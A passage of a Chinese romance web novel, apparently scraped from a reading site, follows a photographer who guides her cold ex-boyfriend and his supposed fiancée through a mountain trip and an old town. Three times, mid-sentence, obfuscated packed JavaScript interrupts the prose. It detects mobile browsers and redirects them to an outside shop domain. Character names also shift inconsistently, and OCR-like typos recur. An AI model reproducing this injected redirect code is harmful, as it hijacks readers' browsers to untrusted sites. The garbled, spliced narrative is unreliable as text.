“姜筠和她哥的感情那可不是一般的好,至少我身边没见过感情这么好的,"阿黄的目光望向前方的路况,可大脑却在回忆,“还记得姜筠刚来我们公司的时候,她哥每天都来接她上下班,还请我们同事吃饭,说是让我们多多照顾姜筠。还有一次,我们旅行社的车路上抛锚了,她哥直接让助理把他的车开过来给我们用了,可算是帮了我们大忙,不然那会真不知道该怎么办了… 这 边的山路九转十八弯,路上有些颠簸,姜筠的心也跟着起起伏伏,忐忑不定。 她刻意不去看陈班的表情,可仍然感觉到那道目光一直追随着她。 俞诗养八卦:“那她哥应该还没结婚吧?”“还没呢,有一次聚餐,姜筠喝醉了,还说如果她哥一辈子不结婚,她也一辈子都不结婚了,你说这感情好到什么程度……” 还真是什么都往外说。 姜筠后背渗出了汗,立刻掐了一把阿黄的大腿,示意他堵住嘴,别再往下说了。 阿黄眼神茫然,竟不知道自己说错了什么,明明这些话题以前跟团的时候也和客人提起过,怎么这次这么大反应? 这时,陈班把隔绝噪音的耳塞拿了下来,那眼神轻漫,带着不屑。 “所以,这就是姜小姐一直没结婚的原因?”在旁人听来,这话似乎只是普通的询问,没有任何的深意,可只有姜筠听懂了他话里的意思。 她想起了那个潮湿的雨夜,天边雷声滚滚,陈班在屋檐下甩开了她的手,眼底一片阴翳。 “所以,你一直都在利用我,利用我来刺激他?既然你喜欢你哥,你还来招惹我?你对我有过一点点喜欢吗?”想起以前的事,姜筠心情莫名变得沉重,她很想开口否认,可她不想说谎,她也说不了谎。 最后竟是俞诗荞替她回答的,她戏谑地说:“怎么会呢,这不是和叶二在一起了吗?说不定今年就好事将近了。” 后视镜里陈班的表情似乎变得更阴沉,食指曲起敲击窗户,他抬眼望向驾驶座的方向,声音阴冷,缓缓吐出四个字:“靠边停下。” 明明是陈述句,可听起来蕴含着怒气。 哪怕再没眼色的人也能看出来气氛不对,阿黄也不知道哪里惹这位贵人生气了,握住方向盘的手都在抖。“现在吗?"他望向后视镜再次确认。 阿黄心惊胆战地看着导航上的地图,肩膀缩了起来。幸好这段路他以前跑过,虽然这里看起来荒郊野岭的,但他知道往左侧分岔路里开,有一家味道还不错的餐馆,人气挺旺的。 “陈先生,这边刚好有个饭店,要不我们顺便找个地方吃午饭?” 陈班没说话,但从表情来看,应该是同意了。阿黄稍稍松了口气。 下了车,来到一家农家乐样式的餐馆,很原生态的环境,海鲜鱼缸里各种冷水鱼正摆着尾游动,大口大口地在水里吸取氧气,后山还放养着家禽,活蹦乱跳的。在这么偏僻的地方,还能有海鲜,属实新奇,难怪店里客人不少。 不过就是不知道合不合陈班的胃口,毕竟这人口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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俞诗荞摆手,笑着加入话题:“我们都是朋友了,哪来的工作时间,以后你想接就接,不用管我们。”眼角余光看到陈班的表情,姜筠心想,似乎有个人不是这么想的。 “找我有事?"她想着说完正事就把电话挂了。叶招咧开嘴笑,答非所问:“在吃什么呢?给我看看。” 姜筠翻转摄像头,把镜头对准了桌面上的菜,开始报菜名:“农家酱油鸡, 红烧茄子,坑锅鹅,还有清蒸白鱼一_” “怎么不点些你爱吃的?"叶弦关心心地问,“我记得你不是喜欢吃虾么,这里没有?” “这些我也爱吃的,"姜筠把手机拉近些,让他看摆在她面前的那道农家酱油鸡,“这个超级好吃,八角和桂皮的味道中和得刚刚好,也不知道是怎么做的。”“我也看饿了。” “你还没吃饭?"姜筠说。 “还没呢,刚忙完,"叶沼右手撑在下巴处,突然用撒娇一样的语气说,“姜筠,把摄像头转回来。”“嗯?怎么了?” “我想你了,"叶招声音里竞还真的听出了几分眷恋,眼神黏腻得可以拉丝,“好久没见你了,让我看看你。”姜筠浑身一颤。 纯粹是被吓的。 当着这么多人的面,姜筠尴尬得不知道该往哪看,一句话也没回应,尤其是俞诗荞和阿黄还在旁边起哄,脸上挂着看戏的笑容。 叶招还在往下说:“你们现在到哪里了,要不我明天去找你吧,你们离哪个机场比较近?” 听这语气不像开玩笑,倒像是认真的。 俞诗荞放下筷子,饭也不吃了,开始看热闹。姜筠捂住手机听筒,起身说:“我还是出去接吧。”她想着当着这么多人的面拒绝叶招,他应该挺不好意思的,而且这里还有他的朋友,免得他以后变成别人的谈资。 好歹他给她介绍了薪酬丰厚的工作,她还是想给他留点面子。 没想到在别人看来,她这是害羞了。 姜筠刚走出门,俞诗荞就和陈班打趣起来:“小情侣说话,不希望我们听呢。不过以前我怎么没发现叶二这么粘人?” 她声音雀跃,没留意到陈班握着杯壁的右手指节因为过于用力而泛白。 餐馆外有一大片空地,姜筠几乎走到了他们停车的地方才停下脚步,脚下是一堆枯叶,鞋子踩上去沙沙地响。“怎么去了这么偏僻的地方吃饭?” 叶招看到这环境,以为他们去到什么深山老林了,虽然实际情况也差不了太多。 “没有,只是刚好路过。” 话虽如此,但姜筠现在想起来还是觉得奇怪。刚才不知道陈班发什么神经,突然脸色阴沉,让阿黄把车靠边停下,她还以为是有什么重要的事,可下车后,他也只是打了个电话,什么都没做。 “对了,刚才阿班的脸怎么看起来那么黑?“刚镜头扫过时,他刚好看到。 “不知道。” 姜筠摇头。 不过他这人本来不就阴沉不定的么。 “他是不是很难相处?” “是有点,"姜筠实话实说,“不太好相处。”叶招开始邀功:“没事,我和他说过,让他别为难你的,他应该多多少少会给我点面子。” 你确定他给你面子了? 姜筠没接话。 叶招见她对这一点兴趣都没有,又打住了话题。本来他还担心姜筠会不会对陈班那张脸有什么想法,可现在明显她对阿班一点兴趣都没有,那他就放心了。他重新说起正事:“姜筠,我刚才说的话都是认真的。” “什么话?” “你现在在哪,我这几天刚好闲下来了,可以稍微休息一会,要不我明天去找你?” 姜筠立刻拒绝:“别。” “为什么?” “叶弦,其实我们一一” “不合适”三个字已经到了嗓子眼,可身后突然传来脚步声,如鼓点般急促密集,随后有人扼住了她的手腕,把她的手机夺走了。 她吓了一跳,尤其在看到陈班时,眼睛瞪得浑圆。一切都发生得太快,她还来不及反应。 下一秒,陈班已经走到她面前,右手指腹挡在了摄像头的位置,当着她的面把叶招的电话挂了。他低沉的嗓音落在头顶:“姜筠,你是不是擅长一边和别人谈恋爱,一边怀念你哥?” 第十八章 第18章第十八章 午后一点,阳光猛烈,太阳直射地面,林子里被暴晒过的植食性昆虫的尸体几乎和土地融为一体。姜筠仰头望向站在她对面的男人。 陈班脸上是比刚才在车上还要更阴沉的神色,他嘴角勾起笑,可眼底却看不出笑意,那双结了霜的眼睛冷得可怕,向来喜怒不形于色的人在她面前暴露了太多情绪。他身上的木质香水味窜入鼻间,让她晃了晃神。她没说话,陈珑又走近了一步,阴影笼罩在她头上。这时,她的手机又震动了起来,他就这么拿着,盯了几秒,似乎没有要把手机还给她的意思。 不用猜,肯定是叶招打过来的。 姜筠正色,向他摊开手:“把手机还我。”很认真严肃的口吻。 原以为会僵持一阵,但下一秒,手机横亘在他们中间,陈班把手机递给了她,太过顺利,姜筠反而愣了愣。伸手接过,似乎是想看她会不会再次接听叶招的电话,陈班视觉的焦点放在了她的手机屏幕。直到她把电话挂了,那双上挑的桃花眼终于有了温度,看向她的眼睛。 “姜筠,你还没回答我的问题。"他说。 “我和叶招没有任何关系。” 所以不存在一边和别人谈恋爱,一边怀念温礼昂。而陈班想的却是,果然,她只否定了和叶招的关系。他竟有种意料之中的感觉。 果然在她心里,没有人比得上那个姓温的,其他人只是陪衬,只是她的消遣。 以前是,现在也是。 他忽然想起以前说过的一句蠢话。 他曾经威胁她:“如果你今天出门去找你哥,我和你就到此为止了。” 那一次是约会中途,她接到了温礼昂的电话,立刻就要打车离开。 那时,他甚至还不知道她和温礼昂之间并无血缘关系,只是实在无法接受她把她哥放在比他还要重要的位置。而最后,她果然头也不回地走了。 那句威胁的话没有起到一点威慑的作用。 回过神,陈琏整理袖口,望向她:“但叶二似乎不是这么认为的。” “他的想法和我有什么关系,"姜筠思路清晰,反驳得很快,“而且就算我和叶招有什么,又和陈先生有什么关系?” 这几天,他们一直相安无事,她本来觉得她和陈班是可以做到和平共处的,毕竞那些都是大学时候发生的事了。可现在,她弄不明白他的动机是什么一一突然从餐馆里走出来,突然抢过手机挂断她的电话,突然问她这些奇怪的问题。 姜筠的情绪一下就上来了。 “陈班,你会不会管得太宽了。” 她只是被雇来给他拍照的,而不是签了卖身契给他。实在太生气,她喊了他的名字。 陈进太阳穴跳了跳。 已经很久没听到她喊他的名字了,他竟心里一震。从前她喊他大多带着撒娇的意味,而现在,她连名带姓称呼他,满怀怨恨。 他望着眼前这张在梦里出现了无数次的令人生厌的脸,顿觉无趣。 他很清楚站在他面前的是一个什么样的人。要说他对姜筠还有什么感情,那肯定不存在。甚至连恨他都不屑分给她。 这些年如果他对她还有一点旧情,他有无数种方式可以找到她,分开后关于她的传闻,常常传到他耳朵里,从许多人的口中。 听说她和他分手后和一个大四的学长走得很近;听说她的作品在摄影大赛获了奖,那个作品他去看了,是她哥温礼昂的背影; 听说她毕业后她放弃了银通的offer,去了北城发展,他当然知道原因,因为温礼昂在那里。他不认为他对姜筠还有什么感情,他只是看不惯这人在欺骗完他的感情后,又找上了叶招。 “姜筠,我记得分手那天,我说过我希望那是我们最后一次见面。” 姜筠低头:“我知道。” 话都说到这个份上,以她平时的个性,她肯定会让旅行社给他们重新换一个摄影师,可现在,她觉得自己没必要和钱过不去。 挣谁的钱不是挣。 而且其他的活儿没这个挣得多。 “陈班,实话说,见到你的第一天,我就想过要不要向旅行社申请给你们换一个摄影师一一” 她留了个话口,陈班就这么等着她的下文,他一边慢条斯理地整理袖口,一边抬头看了她一眼,充满了上位者的傲慢。 “可我觉得那都是过去的事了,我以为你早就忘记了,毕竞我们在一起的时间也不算长,连我都忘得差不多了。再者,你现在也有了未婚妻,我想你应该释怀了。以前我们都不太成熟,处事方式太过尖锐.………这段话她一半真心一半假意,旅程还有十五天,她希望他们之间可以好好相处,哪怕不说话也好,至少不是像现在这样针锋相对。 她说了那么多,可陈班的重点是:“你忘了?”“什么?” 姜筠没听明白。 陈班就站在离她不到十公分的距离,他难以置信地看着自己,似乎有很多话想讲,可最后又什么都没说。眼看着陈班转身离开,姜筠冲他的背影喊道:“放心,等你们旅游结束,我们绝对不会再见面的,我发誓。”她信誓旦旦地保证,不远处,陈琏脚步停 顿了片刻,她看不见他的表情,只觉得他此时大概应该是松了一口气吧。 为了避免非必要的误会,等陈班进门十分钟后,她才走进去。 进门之前,她给叶招发了微信解释,只说是山区信号不好,以这个借口先搪塞了过去,并千叮咛万嘱咐他千万别来。 她原本计划的是等回去之后再当面请他吃饭解释清楚,可现在大概计划要提前了,免得越来越说不清。本来期待的旅程,现在变成了需要倒数结束的行程。她安慰自己,没事,还有十五天,她还能忍。所幸,接下来这半天,陈班都没有为难她,只当她不存在。 晚上回到酒店,姜筠筋疲力尽,蜷在沙发上玩手机,正打算起身去洗澡休息,俞诗荞打电话约她一起去逛夜市。原以为又要见到陈班了,她心里还有些抵触,犹豫了很久才答应,可没想到陈班根本没来。 酒店楼下,她只看到俞诗荞一个人。 联想起俞诗荞和陈班这些天的相处,姜筠还是有些诧异,干这行一年多了,还是第一次遇到像他们这样的情侣。说实话,旅途中遇到吵架的情侣也不少,可像他们这样既不吵架也不说话的还是很罕见。 于是,走到夜市入口,姜筠忍不住问她:“你不和陈先生一起逛吗?” 俞诗荞撇嘴,耸肩。 “他才不会陪我呢。” “陈先生是不是在忙?“姜筠猜测着原因。俞诗荞抿嘴,眼珠子转了转,似乎是在思考要不要告诉她,最后还是朝她招了招手。 姜筠配合地贴了耳朵过去。 片刻后,她听见俞诗荞说:“告诉你一个秘密吧,其实我和陈班不会订婚的。” “阿?” 姜筠愣住。 “其实我和他什么关系都没有,最多就是互为挡箭牌的关系,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14323241|141624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们只答应了家里接触一下,订婚那都是没影的事,只是叶招自己这么认为,还到处造我的谣,说多了我家里人都信了,"俞诗荞拿起路边摊的发夹放在发间比划了一下,接着说,“陈班不喜欢我,而且我也有喜欢的人了。”一下接收了太多信息,姜筠有些反应不过来,大脑在快速运转,她不知道此时要露出什么样的表情比较合适。“那你们怎么还一起来旅行?” “被逼着来培养感情的,可真是委屈我了,要和他呆在一起二十天。” 在这点上,姜筠还是能共情到她的,她非常认同地点了点头。 晚上十点,坞市的夜市还热闹如白昼,人声鼎沸,摊贩叫卖声此起彼伏。 俞诗荞拉着她的手穿行在小巷里,她一脸新奇,看见什么小玩意都想买,而且还不带讲价的,网上卖几块钱的手绳,店主开价168,她竟然眼也不眨就买了。姜筠肉疼得不行。 虽然知道她不差钱,但姜筠还是替她心疼起钱来,犹豫了一会制止了她。 “这些在网上买,可便宜了,"姜筠循循善诱,不想她花冤枉钱,“要不你给我个地址,我到时候买了送给你,你看你现在买了还得带回去,多麻烦,行李箱东西都快放不下了。” 俞诗荞觉得她说的有道理,想了想,终于松开了手里拿着的假珍珠耳环。 快成的买卖就这么被搅黄了,店主白了姜筠一眼,姜筠右手挡脸,全当看不见。 两人走远了些,俞诗荞突如其来地感慨。 “姜筠,你怎么这么好?” “阿?” “和你呆在一起很舒服,让人觉得很自在、很放松。”说着,俞诗荞挽紧了她的手,脑袋贴在她肩膀。姜筠有些受宠若惊了,肩膀僵硬了一瞬。 经过这个夜晚,俞诗荞已经把她当成好闺蜜了,和她滔滔不绝地聊起心事。 “我再告诉你一个秘密吧,其实我以前还真的喜欢过陈班的,"察觉到姜筠投过来的诧异的目光,俞诗荞笑得合不拢嘴,“很奇怪么,他长成那个样子,喜欢他应该挺简单的吧,而且他家世好,学习也好。” 姜筠立刻管理好自己的表情。 “没有没有,不奇怪。” “不过后来发生了一件事,我就对他祛魅了。”“什么事?” “你别看陈班这个样子,其实他以前被女生甩过,"俞诗荞说起来还有点幸灾乐祸的意思,“就因为这事,我决定不喜欢他了,我本来以为他对谁都那么冷的,可原来他也干得出拿热脸去贴冷屁股这种事。” 热脸贴冷屁股? 姜筠无法想象陈班能和这个词挂上钩。 “很难想象吧。"俞诗荞笑着问她。 “确实。” 姜筠虽然讨厌陈琏,但对他的八卦还是很感兴趣的,尤其还是负面的。 和陈班分开后,她都没再听说过他的消息,这会好奇心一下上来了。 她八卦了句:“那个女孩很优秀?” “不知道,我没见过,好像就是大学的时候吧,还是第一次见他这么真心地喜欢一个人,那时候他恨不得把所有时间都分给那个女孩,谁都约不动他,还包了威斯国际大厦的顶楼给她过生日,但听说那女孩只是利用他来气前任的,离谱吧,更离谱的是他竞然这都原谅了,可后来那女孩还是不要他,又把他给甩了,笑死我了。”…听到这,姜筠好像知道这 人是谁了,霎时后背渗出了汗。 她有点傻眼了,这件事传播度这么广吗? 第十九章 第19章第十九章 天气预报说今日有雨,姜筠提着两杯咖啡从街角对面走过来,她仰头看了眼头顶上的太阳。 甚至比昨天还要猛烈些。 阳光刺眼,她眯起眼睛,不禁伸手挡了下眼角,快步朝马路旁的黑色越野车走过去。 站定,她看着后排紧闭的车窗深呼吸了一口气,这才弯下腰敲车窗。 车窗缓缓降下,陈班的脸出现在她视野范围里。“陈先生,你的咖啡。” “嗯。” 他伸手接过。 两人自此无话。 姜筠绕路坐回副驾驶座。 那天一番谈话后,两人又恢复到了陌生人互不相识的状态。 显然,这才是她追求的理想状态。 不过许是因为俞诗荞那天说的话,姜筠现在看到陈班心情有点复杂。 那天回去后,她想了一整晚都想不起来陈班什么时候对她冷脸贴热屁股了? 他那态度也能叫冷脸贴热屁股? 而且他什么时候包下顶楼给她过生日了。 现在以讹传讹已经这么严重了吗? 姜筠开始怀疑,俞诗荞说的这个人是她吗?怎么话只对上了一半。 午饭后,邹淑珍给她打来视频。 那会正好是休息时间,姜筠走到餐厅外散步消食,突然手机响了。 接通电话,姜筠看到屏幕,愣了愣。 因为从背景来看,她是在温礼昂北城的公寓里。而屏幕那头的邹淑坋一看到她,眉头又皱了起来。“这是又跑哪里去了?“邹淑坋边说边叹气,“你哥说你最近出差了,你怎么现在出门都不和我说了,你说你一个女孩子去那么远的地方,多不安全,还不如老老实实找个呆在办公室的工作。” 这话题是老生常谈了,姜筠听到耳朵都快起茧子了,不过她知道邹淑坋也就念叨念叨,她应付两句这事就算过去了。 “有什么不安全的,阿黄也在,而且这边治安好着呢,"姜筠熟练地回复,忽然又想起了什么,“对了,妈,你有没有想要的,我给你买点手信寄回去。”邹淑玲立刻摇头:“我才不要,你好不容易挣的钱,自己省着点花。” 谈到钱,姜筠不知怎么想起了陈班的脸。 嗯,这钱确实挣得挺不容易的。 “你和爸怎么突然来北城了?"她换了个话题。“你爸来这边参加什么研讨会,我跟着过来看看,过两天就回去了。” “怎么不多呆几天?” “哪有那么多时间,而且你又不在,你哥工作又忙,你哥昨天为了去高铁站接我们,还把会议都推了,你爸哪敢多呆,怕耽误你哥工作。” 聊到温礼昂,姜筠不吭声了。 提到他的名字,她心心脏处都隐隐作痛,还没结痂的伤口又有发炎的迹象。 这几日工作忙起来,她想起温礼昂的频率减少了许多,她认为这是个很好的苗头,如果持续下去,兴许可以把他忘了,所以她对阿黄说希望七月份多给她介绍活儿,只要一直见不到他,兴许她就能渐渐戒断,可现在,当她从邹淑玲口中听到这个名字,她就知道都是假的。她不是忘了他,她只是不敢想他。 那边邹淑坋自言自语起来:“你说你哥这么好的一个人,感情为什么这么不顺,每次都是无疾而终。”姜筠本来正踢着路边的小石子,突然停下了动作,心里空旷得几乎能听见回音。 “他不是和覃仪在一起么?” 邹淑珍说起这事,频频叹气,表情很困惑:“你哥和小仪没成,你哥说人家没看上他,可我那天瞧着小仪挺喜欢你哥的,是不是我和你爸拖后腿了,毕竟小仪家庭那么好,我们就是普普通通的工薪阶层,在事业上也帮不了他太多…… 心情像啤酒的盖子被打开,有白色的泡沫不断地从瓶口涌出来,喷溅得四处都是,也像烟花一下盛开在白昼,除了她以外,旁人都看不见。 他们都看不见这隐秘的欢喜。 后面邹淑坋还说了什么,姜筠一句都听不清楚了。直到温礼昂抱着猫的背影从镜头里一闪而过,她才回过神。 电话也在此刻挂断,这个背影就这么刻在她的大脑里,成为最后一帧的画面。 她还记得上次他们的交谈。 在书房里,她歇斯底里,面目狰狞,那个声嘶力竭的人完全不像她自己。 那天她放了所有她能想到的狠话,她让他以后都不要再联系自己,她求他离她远一点,最好五年、十年都不要见面…… 她说了那么多狠话,可现在,他只不过是没和覃仪谈恋爱,她竞开心得有些忘乎所以了。 她甚至想感谢覃仪没看上他。 那么多的委屈、难过和泪水,在这通电话里竞消解了一半。 太没用了,姜筠。 她在心里骂自己。 可这样的日子还要重复多少次呢,从失望到绝望,又从绝望到希望,这些年,她似乎一直都是这么过来的。但开心就是开心,她不想否认,她这一刻是快乐的。即便如此,她还是在备忘录里写下: 【在温礼昂找她之前,绝对不主动找他。】大概她的情绪变化实在太明显,到了景点,刚下车,阿 黄就问她:“你今天心情这么好?” 这人前几天就跟蔫了的植物似的,今天终于看到阳光开花了。 “有吗?"姜筠眨了眨眼,反问。 “有啊,你这嘴角半天没下来过。” 只是话音刚落,他发现姜筠的视线凝在了某处,嘴角的笑也跟着收敛了许多。 仔细一看,原来是陈先生从车里下来了。 阿黄暗自感慨,原来不止他一个人怕陈先生啊。今天最后一个行程是荔城古镇,这是坞源市最有名的人文景点。 前几日去的大多是一些自然风光,今天多了些文化景点,俞诗荞兴致很高,一下车拉着姜筠在入口处拍照。阿黄对这地儿很熟,和他们介绍起古镇的历史,正说到这里的建筑特点,俞诗荞忽然打断了他,指着不远处的游客中心问:“怎么那里那么多人?他们手里拿着的是什么?” 每个从里面出来的人,手里都拿着一张报纸般大小的图。 阿黄看了一眼:“哦,那是古镇的地图。”“地图?"俞诗荞皱眉。 为了一张地图,这么多人排队? 约莫是看出了她的疑惑,阿黄给她解答:“因为这地图可以盖章,上面有十三个盖章点,图章全部集齐的话可以免费领一套限量版明信片,好像还可以参与什么抽奖,所以最近这活动在网上特别火。” 俞诗养一听有了想法。 她兴奋地提议:“那我们分头行动,看谁最先集齐领到明信片。赢的人可以向另外三个人提一个要求,而且对方不能拒绝。” 逛古镇多乏味啊,还是玩游戏有意思。 这个游戏规则对谁有利很明显了,阿黄都来过古城好几回了,肯定比他们三个要更熟悉。 阿黄不愿占这个便宜:“那公平起见,我比你们晚十分钟出发吧。” “好。” 阿黄摸了下后脑勺,开玩笑说:“什么要求都可以吗?那我要是赢了,能不能给我涨点工资?涨一点点就行。”俞诗养一口应下:“这也算要求?” 阿黄本来还兴致缺缺,现在听到和钱挂上钩,一下就有了动力。 这么无聊的游戏,姜筠本以为陈琏会拒绝的,她一直在等他出声,可陈班迟迟没有动静,什么话也没说。她忍不住扭头去看他,悄悄瞄了一眼,谁知道他站在树荫下,正好在看她。 她暗自懊恼。 怎么每次她偷看他,都会被他发现! “陈先生也参与吗?"姜筠硬着头发,好心提醒,“您如果不想参与的话,附近好像有一间书店可以供您休息。”陈班勾起嘴角:“怎么,我不能参与?还是姜小姐不希望我参加?” “我不是这个意思,“姜筠连连摆手,否认得很快,“我只是担心您会觉得无聊。” 气氛有点不对,幸好这会阿黄已经买好地图走过来,每人发了一张。 “说好了,大家只能看地图,不能用手机看网上的攻略,五点我们在北门出口集合。“杜绝大家作弊的可能,俞诗荞提议把手机交给姜筠保管。 没想到这么信任她,姜筠也拿出了诚意,当场发誓。“我保证绝对不偷看手机,我要是作弊就一辈子发不了财。怎么样,这够狠了吧。” 阿黄把她手按下来:“行行行,这可太狠了。”旁边的陈琏嗤笑了声。 三点整,游戏正式开始。 姜筠这会也拿出了认真的劲儿,一边走路一边看着手里的地图。 走到主干道,有三条分岔路,姜筠犹豫了两秒,最后选了左边。 这古城不大,可小巷特别多,弯弯绕绕的,因此路也不好找,但姜筠凭借天生的方向感,还没半个小时,她就盖了五个章。 她已经在想她要是赢了,该和陈班提什么要求。让他就这几天的行为给她道歉,还是让他给自己涨点工资? 后来她又想到一个更狠的,让他当一天的司机和导游,他肯定会抓狂。 正沾沾自喜从民 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14323242|141624||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宿博物馆出来,她马不停蹄前往下一个盖章点,可刚走出大门,迎面就看到了最不想看到的人。陈班走过来的那一刻,她听见旁边的女孩情不自禁地哇了一声,看得眼睛都直了。 这人也就这张脸能吸引人了。 她匆匆撇了一眼他手里的地图,他竞然已经盖了六个章了,如果再加上博物馆的章,那就是七个。怎么做到的? 姜筠有些受挫,她觉得自己让陈班当司机的计划已经凉了一半。 没搭理他,她快步走出博物馆,一边看地图能不能抄近路,一边加快了脚步,可倒霉的事发生了一一因为只顾着看地图没有看路,这一段鹅卵石的路本就忐忑不平,她走得太快,一下没站稳,崴到了脚。咔地一声,她怀疑她骨头都错位了。 强撑着走了两步,痛得额头的冷汗都冒了出来。“嘶一一”她倒吸了一口凉气。 这时候,她确定了,她让陈班当司机的计划已经彻底宣告失败。 实在疼得受不了,她只好在路边的花坛里坐下休息。五分钟后,她看到陈班的身影出现在街道转角。他的身高和长相在人群里很容易让人想到那个成语一一“鹤立鸡群”。 她确认陈班也第一眼就看到了她,因为她看到 他眉头轻微地皱了下。 很快,他走了过来,离她越来越近,然后径自从她旁边经过,就跟没看到似的。 姜筠毫不意外,反而觉得理所当然。 就该这样,她还怕他停下来关心她呢。 姜筠四处张望看看哪里有药店,盘算着找个路人帮她买点药,突然左侧有道阴影笼罩在她头顶,紧接着视线里出现了一双白色球鞋,她抬头,看到了陈班晦暗不明的脸。四目相对,沉默几秒。 姜筠正想问他想干嘛,但下一秒,他在她面前蹲了下来,宽厚结实的背正对着她。 她心里一个咯噔。 “上来。"他不耐烦地说。 姜筠反复确认他的表情,仍是感到难以置信。他竞然真的是要背她? “不用不用,"姜筠闷声说,“你快点起来。”陈班当作没听见,一点反应都没有。 “要不你去前面的药店给我买药吧,我待会在群里把钱转你。” 话音刚落,她听见前面的人深呼吸了一口气,似是无奈到了极致。 都这个时候了,还在想钱的事呢。 然后,她听到陈琏冷淡的声音:“你确定你还要继续这样耽误时间?如果我没记错的话,你的时薪是我付的。”姜筠被噎住。 目光忽然扫到了他手里拿着的地图,姜筠眼珠子转了转。 要不拖一下他的集章进度也行。 免得他要是赢了,还不知道要怎么捉弄她呢。“那你扶我到南门就行,我在那休息一会。”她刚才看了地图,南门离这只有不到一千米,她现在这样肯定没办法继续集章了,到了南门,等游戏结束后,让阿黄开车过来接她就行。 她正伸出手,想要搭一下他的胳膊,但下一秒,陈琏没再和她磨蹭,没有任何防备地,他弯腰抱起了她。他轻而易举地把她抱了起来,右手环在她腰后。她吓了一跳,呼吸都屏住。 “陈班!你干嘛?” 他没说话。 公主抱的姿势实在太奇怪了,她实在接受不了在大庭广众之下被路人用这样的目光注视着。 她忍不住挣扎,但男女力量之悬殊让她只好放弃,最后她开口:“你还是背我吧。” 她妥协了,她想,就当他是路过的好心人吧。而陈班听见她的话,嗤笑了声。 “还是那么爱折腾。” “什么?” 姜筠没听清。 陈班最后还是把她放了下来,背对她,弯下了腰。姜筠趴在他后背,双手虚虚地搭在他的肩膀上,以免自己摔下来。 没一会,陈琏就说:“手放好。” “哦。” 姜筠以为他是让她把手拿得更远些,于是把搭在他肩膀的手也收了起来,尽量不触碰到他。 但下一秒,陈班停了下来。 “我是让你勾着我的脖子,待会掉下去我可不管。”这里的路确实不好走,崎岖又泥泞,如果他不小心被绊到脚,那第一个遭殃的肯定是她,她这只右腿指定废了。姜筠做了一会心理建设,试探性把手环了上去,勾着他的脖子。 只是不知为什么,陈班仍是停在原地,没有任何动作。“怎么了?“她问。 “没事。"他声音如常。 只有从前面经过的路人看到了那个英俊的青年微微弯起的嘴角。 第二十章 第20章第二十章 下午四点的古镇,天气逐渐变得凉爽,不像刚才那么闷热,沿街卖冰饮的商贩担心卖不动果汁,正在拉长尾音吆喝。 “清凉解暑西梅汁,今日低价,二十一杯,三十两杯,走过路过不要错过!” 姜筠被这声音吸引了注意力,扭头往那多看了两眼,但很快她就收回了视线。 可是,不知怎么,她觉得有点不对劲,因为陈班竞然往马路对面走了过去。 见他站定在摊位前,她忍不住问他。 “你干嘛?” “你不是要喝?"他说得理所当然。 “没有啊。” 她立刻否认,摇头摇得很快。 “那你往那看?” “我就看看,"姜筠小声吐槽,“叶招爱喝,我又不爱。” 想起西梅汁的味道,她打了个冷颤。 姜筠现在看到西梅汁,唯一能想起来的人就是他,她还是第一次看到有人那么爱喝西梅汁的。 陈班刚迈出的脚步又顿了顿,声音紧绷得像拉满的弓。“不是说和他没关系,还记得他爱喝什么饮料。”她得意地说:“我记性好,不行么?” “行。” 陈班咬牙切齿地回了句。 姜筠丝毫没察觉到他情绪不对,她的关注点在别的地方。 她望向手里的地图,从博物馆到南门走路不过十分钟的距离,可现在走了也快十分钟了,还有一半的路程。“你怎么走那么慢。“她声音有些不满。 “你变重了。"陈班回。 姜筠音量拔高:“我哪有?!” 也不是介意自己的体重,只是看不惯某人睁眼说瞎话,她这么多年体重一直没变过。 听到陈班发出一声轻笑,她才意识到他在逗她。两人的气氛轻松得有些不寻常,她趴在陈班背上,闻着熟悉的香水味,竞很不合时宜地想起了一件事。他们在一起的那个暑假,她买了两张票,让陈班陪她去看音乐节。 可那天她出门太磨蹭,导致他们来晚了,只能站在最外围的位置。 她踮起脚,仍是只能看到乌泱泱的人群。 失去最佳观赏位,她不由叹气,四处张望,看有没有什么弥补的方法。 然后她的目光锁定在了不远处的一对情侣,女生坐在男生肩膀处,举着手机录视频。 一转身,发现不少人都这么干。 她当下心里有了想法。 快步走到陈班旁边,她仰头撒娇喊他的名字,声音甜甜腻腻的:“陈琏陈斑。” 他太了解她,一听就知道没好事,没好气地弯了弯嘴角。 “又怎么了?” 语气无奈中带着宠溺。 她看了一眼站在他们前面的情侣,右手食指戳了下他的肩膀。 “我也要爬到你头上去。” “不要。” 陈班扫了一眼,当下立刻拒绝,眉头皱得很深。从他的表情来看,像是什么很羞耻的事情。姜筠一看他这样就知道没戏,撇了撇嘴:“哦。”她专心看表演,没和他说话,不过他大概以为她生气了,因为没一会,陈班忽然在她前面蹲了下来。“上来吧。” 是有些不情愿的语气。 不过姜筠才不管他愿不愿意,只要目的达到就行,反正强扭的瓜也甜。 她回头看了下,确认后面没有人,然后咧开嘴笑,跨坐在陈班的肩膀上。 “看到了吗?"他问。 “看到了!特别清楚!” 